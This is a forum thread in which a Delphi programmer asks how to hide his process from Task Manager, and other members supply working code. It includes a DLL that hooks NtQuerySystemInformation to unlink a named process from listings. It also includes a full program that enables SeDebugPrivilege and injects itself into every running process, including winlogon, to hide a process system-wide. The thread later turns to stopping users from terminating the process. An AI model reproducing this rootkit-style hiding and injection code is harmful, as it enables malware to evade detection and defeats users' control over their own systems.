Link to home
Start Free TrialLog in
Avatar of alloc
alloc

asked on

MadCodeHook HookCode function usage

I'm not too familiar with Madshi's MadCollection other than referring to his online collection documentation and prototype outlines etc...

I am trying to load this dll in delphi for hiding a process in taskman in NT and don't quite understand some of the code in this library unit, also don't you have to export the hookcode function to externally call the function which hooks ntquerysysteminformation, the callback and the and nexthook functions? This code shouldn't need be injected, shall it?

Heres the code I've found.

library HideProcessNT;

{$IMAGEBASE $57000000}

uses Windows, SysUtils, madCodeHook;

type
 PProcessInfo = ^TProcessInfo;
 TProcessInfo=record
  dwOffset            : dword; // an ofset to the next Process structure
  dwThreadCount       : dword;
  dwUnkown1           : array[0..5] of dword;
  ftCreationTime      : TFileTime;
  dwUnkown2           : dword;
  dwUnkown3           : dword;
  dwUnkown4           : dword;
  dwUnkown5           : dword;
  dwUnkown6           : dword;
  pszProcessName      : PWideChar;
  dwBasePriority      : dword;
  dwProcessID         : dword;
  dwParentProcessID   : dword;
  dwHandleCount       : dword;
  dwUnkown7           : dword;
  dwUnkown8           : dword;
  dwVirtualBytesPeak  : dword;
  dwVirtualBytes      : dword;
  dwPageFaults        : dword;
  dwWorkingSetPeak    : dword;
  dwWorkingSet        : dword;
  dwUnkown9           : dword;
  dwPagedPool         : dword; // kbytes
  dwUnkown10          : dword;
  dwNonPagedPool      : dword; // kbytes
  dwPageFileBytesPeak : dword;
  dwPageFileBytes     : dword;
  dwPrivateBytes      : dword;
  dwUnkown11          : dword;
  dwUnkown12          : dword;
  dwUnkown13          : dword;
  dwUnkown14          : dword;
  ThreadInfo : PThreadInfo; // Thread list
 end;

var NtQuerySystemInformationNextHook: function(dt : dword; buf : pointer; bufsize : dword; retlen : pointer) : dword; stdcall;

function NtQuerySystemInformation(dt : dword; buf : pointer; bufsize : dword; retlen : pointer) : dword; stdcall;external 'ntdll.dll';

function NtQuerySystemInformationCallbackProc(dt : dword; buf : pointer; bufsize : dword; retlen : pointer) : dword; stdcall;
type
  PBA = ^TBA;
  TBA = array[0..1000000] of byte;
var
  tmpbuf: PBA;
  Pinfo,LastPinfo : PProcessInfo;
  cp: DWORD;
  curproc:string;
begin
  Result := NtQuerySystemInformationNextHook(dt,buf,bufsize,retlen);
  if dt<>5 then exit;
  if result<>0 then exit;

    cp := 0;
    tmpbuf := buf;
    Repeat
      Pinfo := PProcessInfo(@tmpbuf[cp]);

      curproc:=WideCharToString(pinfo^.pszProcessName);

      if lowercase(curproc)='notepad.exe' then
      begin
        if pinfo^.dwOffset=0 then begin LastPinfo^.dwOffset:=0;exit;end
        else LastPinfo^.dwOffset:=LastPinfo^.dwOffset+pinfo.dwOffset;
      end
      else
      begin
        LastPinfo:=Pinfo;
      end;

      cp := cp + Pinfo^.dwOffset;
    until Pinfo^.dwOffset = 0;

end;

begin
  HookCode(@NtQuerySystemInformation, @NtQuerySystemInformationCallbackProc, @NtQuerySystemInformationNextHook);
end.

I'd like to call the dll dynamically at run-time and use Madshi's UnHookCode() function to unhook the set hook. Any ideas or code? More importantly does this code work ;) ?

Thanks,
Alloc
Avatar of StTwister
StTwister

U don't have to export any functions from the dll. When the dll is injeced in the remote process, the HookCode function is executed. So u MUST inject this dll for the process to be hidden. To only hide it from Task Manager, inject the dll to taskmgr.exe. To hide it from any application, u need to inject it to all runnning applications.
To unhook the code, uninject the library
Avatar of alloc

ASKER

I tried calling it on my form's OnCreate event, like so:
InjectLibrary((ALL_SESSIONS or SYSTEM_PROCESSES) and (not CURRENT_PROCESS), 'your.dll');
from madshi's website example and it's hiding all the processes instead, I changed  the name from notepad.exe to taskmgr.exe and it seems to hide all the processes from taskmanager, any idea how to call the inject method correctly so that it just hides my process?

alloc
I don't know how madCodeHook works, but InjectLibrary((ALL_SESSIONS or SYSTEM_PROCESSES) installs a system wide hook that is only available on 9x systems, which have a shared memory area where APIs are stored. To install a system wide hook in NT family systems, u must hook EVERY app and also check for new created ones. It is possible that InjectLibrary((ALL_SESSIONS or SYSTEM_PROCESSES) checks for OS and if NT is found, it hooks every process. Give me some time...
Here's some code i made for u. It doesn't use madCodeHook, it uses afxCodeHook. U can get Aphex's afxCodeHook unit from his site www.iamaphex.org. Here's the link http://www.iamaphex.org/modules.php?op=modload&name=Downloads&file=index&req=getit&lid=14.

Note that this is not a dll it's a .exe. Using afxCodeHook, u don't need to inject any dll, u simply run the .exe file. To unhook the API, change the line in the EntryPoint procedure and run the .exe again.


// ---> START OF CODE <---

{
  System Wide API Hooking Without A DLL
  www.iamaphex.cjb.net
  aphex@iamaphex.net

  This is a proof of concept theoretical demo. Using the power of
  InjectLibraryEx it is now possible to easily hook an API in all
  processes without the need for an extra DLL file. At the moment
  there are some drawbacks. The biggest of which is that packers
  like UPX and FSG will break the EXE. I am working on fixing
  this problem.

  True system wide API hooking is only possible on 9X based OS but
  a means of simulating a system wide API hook is possible using
  process wide hooking on every process possible.

  To hook every process we need inject into the currently running
  processes but we also must have a way to monitor new processes that
  are created. A simple method to do this is to hook CreateProcessA/W
  API so that we can inject our hook into all new processes but this
  is not a 100% reliable way to get every process. So to do this we must
  create a thread that constantly enumerates the process list and injects
  into each new process. The thread that does the injection is located in
  either winlogon on NT or explorer in 9X.

  The API that I have chosen to hook is FindFileFirst/Next API. By hooking
  these API I can hide certain files from being listed. The file that
  is hidden is specified with the HideFile const and the default hidden
  file is "notepad.exe".
}

program SystemWideExe;

uses
  Windows,
  SysUtils,
  afxCodeHook,
  tlhelp32;

const
  MapName = 'Global\FileMapping';
  MutexName = 'Global\MonitorThread';
  FilenameToHide: String = 'calc.exe';

type
 PProcessInfo = ^TProcessInfo;
 TProcessInfo=record
  dwOffset            : dword; // an ofset to the next Process structure
  dwThreadCount       : dword;
  dwUnkown1           : array[0..5] of dword;
  ftCreationTime      : TFileTime;
  dwUnkown2           : dword;
  dwUnkown3           : dword;
  dwUnkown4           : dword;
  dwUnkown5           : dword;
  dwUnkown6           : dword;
  pszProcessName      : PWideChar;
  dwBasePriority      : dword;
  dwProcessID         : dword;
  dwParentProcessID   : dword;
  dwHandleCount       : dword;
  dwUnkown7           : dword;
  dwUnkown8           : dword;
  dwVirtualBytesPeak  : dword;
  dwVirtualBytes      : dword;
  dwPageFaults        : dword;
  dwWorkingSetPeak    : dword;
  dwWorkingSet        : dword;
  dwUnkown9           : dword;
  dwPagedPool         : dword; // kbytes
  dwUnkown10          : dword;
  dwNonPagedPool      : dword; // kbytes
  dwPageFileBytesPeak : dword;
  dwPageFileBytes     : dword;
  dwPrivateBytes      : dword;
  dwUnkown11          : dword;
  dwUnkown12          : dword;
  dwUnkown13          : dword;
  dwUnkown14          : dword;
  ThreadInfo : PThreadInfo; // Thread list
 end;



var
  PID: dword;
  FileMap: pointer;
  var NtQuerySystemInformationNextHook: function(dt : dword; buf : pointer; bufsize : dword; retlen : pointer) : dword; stdcall;


{
  API Hooking Routines
}

function NtQuerySystemInformationCallbackProc(dt : dword; buf : pointer; bufsize : dword; retlen : pointer) : dword; stdcall;
type
  PBA = ^TBA;
  TBA = array[0..1000000] of byte;
var
  tmpbuf: PBA;
  Pinfo,LastPinfo : PProcessInfo;
  cp: DWORD;
  curproc:string;
begin
Result := NtQuerySystemInformationNextHook(dt,buf,bufsize,retlen);
if dt<>5 then exit;
if result<>0 then exit;
cp := 0;
tmpbuf := buf;
Repeat
Pinfo := PProcessInfo(@tmpbuf[cp]);
curproc:=WideCharToString(pinfo^.pszProcessName);
if lowercase(curproc)=FileNameToHide then
  begin
  if pinfo^.dwOffset=0 then
    begin
    LastPinfo^.dwOffset:=0;
    exit;
    end
    else LastPinfo^.dwOffset:=LastPinfo^.dwOffset+pinfo.dwOffset;
  end
  else LastPinfo:=Pinfo; //I coded this part :P (Aphex: www.iamaphex.cjb.net)
cp := cp + Pinfo^.dwOffset;
Until Pinfo^.dwOffset = 0;
end;

function StrCmp(String1, String2: pchar): boolean;
begin
  Result := lstrcmpi(String1, String2) = 0;
end;


//this is where we install the hooks for each API we want
procedure EntryPoint;
begin
HookCode('ntdll', 'NtQuerySystemInformation', @NtQuerySystemInformationCallbackProc, @NtQuerySystemInformationNextHook);
//to unhook use this function: UnHookCode(@NtQuerySystemInformationCallbackProc, @NtQuerySystemInformationNextHook);
//u can make a separate procedure or even a separate .exe to uninstall the hook
//note that u don't need any .dll to inject here, u only run this .exe
end;

{
  System Wide Injection Routines
}

function ExtractFileName(FileName: string): string;
begin
  while Pos('\', FileName) <> 0 do Delete(FileName, 1, Pos('\', FileName));
  Result := FileName;
end;

//we need this to be able to access any process
procedure SetTokenPrivileges;
var
  hToken1, hToken2, hToken3: THandle;
  TokenPrivileges: TTokenPrivileges;
begin
  if IsNT then
  begin
    try
      OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES, hToken1);
      hToken2 := hToken1;
      LookupPrivilegeValue(nil, 'SeDebugPrivilege', TokenPrivileges.Privileges[0].luid);
      TokenPrivileges.PrivilegeCount := 1;
      TokenPrivileges.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
      hToken3 := 0;
      AdjustTokenPrivileges(hToken1, False, TokenPrivileges, 0, PTokenPrivileges(nil)^, hToken3);
      TokenPrivileges.PrivilegeCount := 1;
      TokenPrivileges.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
      hToken3 := 0;
      AdjustTokenPrivileges(hToken2, False, TokenPrivileges, 0, PTokenPrivileges(nil)^, hToken3);
      CloseHandle(hToken1);
    except;
    end;
  end;
end;

//this is used to share our code in memory from one process to another
function MapMemory: boolean;
var
  FileMapping: THandle;
  Data: pointer;
  BytesRead, Module, Size: dword;
  Path: array [0..MAX_PATH] of char;
begin
  Result := False;
  FileMapping := OpenFileMapping(FILE_MAP_WRITE, False, MapName);
  if FileMapping = 0 then
  begin
    GetCurrentDirectory(MAX_PATH, Path);
    Module := CreateFile(pchar(ParamStr(0)), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
    Size := GetFileSize(Module, nil);
    GetMem(Data, Size);
    ReadFile(Module, Data^, Size, BytesRead, nil);
    CloseHandle(Module);
    FileMapping := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, Size, MapName);
    if FileMapping = 0 then Exit;
    FileMap := MapViewOfFile(FileMapping, FILE_MAP_WRITE, 0, 0, 0);
    if FileMap = nil then
    begin
      CloseHandle(FileMapping);
      ExitProcess(0);
    end;
    CopyMemory(FileMap, Data, Size);
    FreeMem(Data);
    Result := True;
  end
  else
  begin
    FileMap := MapViewOfFile(FileMapping, FILE_MAP_WRITE, 0, 0, 0);
  end;
end;

//this is the procedure that constantly loops checking for new processes
procedure Inject;
var
  ProcessHandle: THandle;
  Process32: TProcessEntry32;
  ProcessSnapshot: THandle;
  LastPIDs, PIDs: string;

  function IntToStr(I: integer): string;
  begin
    Str(I, Result);
  end;

  function IsPID(PID: dword): boolean;
  begin
    Result := Pos(IntToStr(PID) + ':', LastPIDs) <> 0;
  end;

  procedure AddPID(PID: dword);
  begin
    PIDs := PIDs + IntToStr(PID) + ':';
  end;

begin
  SetTokenPrivileges;
  while True do
  begin
    LastPIDs := PIDs;
    PIDs := '';
    ProcessSnapshot := CreateToolHelp32SnapShot(TH32CS_SNAPALL, 0);
    Process32.dwSize := SizeOf(TProcessEntry32);
    Process32First(ProcessSnapshot, Process32);
    repeat
      ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, Process32.th32ProcessID);
      if ProcessHandle <> 0 then
      begin
        if not IsPID(Process32.th32ProcessID) then
        begin
          if GetCurrentProcessId = Process32.th32ProcessID then
            InjectLibraryEx(GetCurrentProcess, FileMap)
          else
            InjectLibraryEx(ProcessHandle, FileMap);
        end;
        AddPID(Process32.th32ProcessID);
      end;
      CloseHandle(ProcessHandle);
    until not (Process32Next(ProcessSnapshot, Process32));
    CloseHandle(ProcessSnapshot);
    Sleep(50);
  end;
end;

//we use a mutex to determine if a thread has been created for monitoring yet
function MonitorThreadCreated: boolean;
var
  MutexHandle: dword;
begin
  MutexHandle := CreateMutex(nil, True, MutexName);
  if MutexHandle <> 0 then
  begin
    if GetLastError = ERROR_ALREADY_EXISTS then
    begin
      CloseHandle(MutexHandle);
      Result := True;
      Exit;
    end;
  end;
  Result := False;
end;

//depending on the OS version we want our monitor thread to inject into different processes
procedure CreateMonitorThread;
begin
  if IsNT then
  begin
    if StrCmp(pchar(ExtractFileName(ParamStr(0))), 'winlogon.exe') then Inject;
  end
  else
  begin
    if StrCmp(pchar(ExtractFileName(ParamStr(0))), 'explorer.exe') then Inject;
  end;
end;

begin
  if MapMemory then
  begin
    SetTokenPrivileges;
    if IsNT then
    begin
      GetWindowThreadProcessID(FindWindow('NDDEAgnt', nil), @PID)
    end
    else
    begin
      GetWindowThreadProcessID(FindWindow('Shell_TrayWnd', nil), @PID);
    end;
    InjectLibraryEx(OpenProcess(PROCESS_ALL_ACCESS, False, PID), FileMap);
    Sleep(3000);
  end
  else
  begin
    if not MonitorThreadCreated then CreateMonitorThread;
    EntryPoint;
    ExitThread(0);
  end;
end.

// ---> END OF CODE <---


Hope this helps,
StTwister.
@StTwister:
InjectLibrary(specialFlags) works in all OSs, even in the NT family. madCodeHook takes care of everything that is needed, including automatic injection into all currently running and into all newly created processes.

@alloc:
The problem must be in the code itself. It's probably doing something wrong.

Anyway, hiding a process isn't really a good solution. It's fishy at best. I'd suggest to protect your process from being terminated instead. That should be good enough, I think.

Hooking NtQuerySystemInformation has one little disadvantage: If some copy protections (e.g. SafeDisc) think they would be running inside of a debugger - they refuse to run. Other copy protections (e.g. some AutoCAD versions) crash intentionally. Hooking NtQuerySystemInformation with madCodeHook makes SafeDisk and some AutoCAD versions think they'd be running inside of a debugger, so it's a bit of a problem. Hooking process termination doesn't have these problems. See the HookProcessTermination demo in madCodeHook's demo folder.
@Madshi, i've read ur madCodeHook documentation and i saw there that it can also make system wide hooks on NT systems. The problem is not in the hook code, i've tested it with afxCodeHook and it works just fine. If done properly with no problems, hidding is better then protect process termination. Of course, hidden processes can be terminated, but user must know PID or process name. Even if a process can't be terminated, the user know it's running. So each method has advantages and disadvantages.
Avatar of alloc

ASKER

StTwister:

Delphi's compiler is saying InjectLibraryEx() is an undeclared identifier, I don't see the function listed in afxcodehook, where is its declaration? The IsNT function also seems to be missing, which is no big deal because it's most likely just checking if the os platform is 9x or NT.

madshi:

 Your hook process termination seems to work nicely, however two things.

1.) I only want my process to disallow process termination, not all processes.
2.) I don't want the user to have the option to terminate my process with a messagebox.


Alloc
Avatar of alloc

ASKER

Madshi:

I just reworked your example and am now only disallowing my application to terminate rather than having a messagebox ask for permission for all processes. It's a little more tricky considering you build your form from raw api and my window isn't created that way, so I still have to use the loop construct you have for denying the wm_quit messages.

I'm doing something like:

if s2 = extractfilename(paramstr(0)) then
boolean(answerbuf^) := false
else
  boolean(answerbuf^) := true;
end;

And on my form's onclose and onterminate events I've used something like

 inject(false);

If I have any problems incorporating it into my project I'll open a new thread, ask you there and award you points, is this alright?

StTwister :) I'm still looking forward to your response and your code looks interesting nonetheless.

 Alloc
Replace InjectLibraryEx with InjectLibrary. U can exclude the IsNT stuff or use this function:

function IsNT: boolean;
var
  Version: TOSVersionInfo;
begin
  Version.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
  GetVersionEx(Version);
  Result := Version.dwPlatformId = VER_PLATFORM_WIN32_NT;
end;

That should work just fine...
This happens because i use an older version of afxCodeHook. The new version is only NT compatible. The old version also works on 9x systems. Tell me if u want the old one.
Avatar of alloc

ASKER

StTwister it compiled fine after adding the function and changing out the Ex on the injectlibrary function, the only thing is the comments say it hides notepad.exe yet the constant variable called FileNameToHide specifies calc.exe. I'm not understanding the demo maybe because the process still appears in the task list, is it because of the fact that it's a windowless program only for a proof of concept? It blinks for a second and doesn't appear to hide any new instances of calc or notepad. Maybe I'm doing something wrong maybe, I don't mean to sound like a noobie since you've helped me thus far but I sure could use some information about what exactly takes place ;)

 If you could offer me a bit of insight I will award you points for this question and open a new thread for madshi to collect some points as well for his efforts.

Alloc

Alloc, if the name of your exe doesn't change, then there's no need to do all that complicated communication between the hook dll and your application. Just do the "if IsTextEqual(exeName, 'your.exe') then ..." directly in your hook dll. Have a look into the HookFindFile demo to see what I mean. That hook dll also doesn't communicate with the app and works fine nevertheless - because it's hard coded to a specific file name.
ASKER CERTIFIED SOLUTION
Avatar of StTwister
StTwister

Link to home
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
Start Free Trial
Avatar of alloc

ASKER

I understand now what goes on thanks. I will award yu points for answer and open new Q for madshi to collect some as well.

Alloc
Avatar of alloc

ASKER

Madshi please comment here Q_21258818.html and I accept as answer.

alloc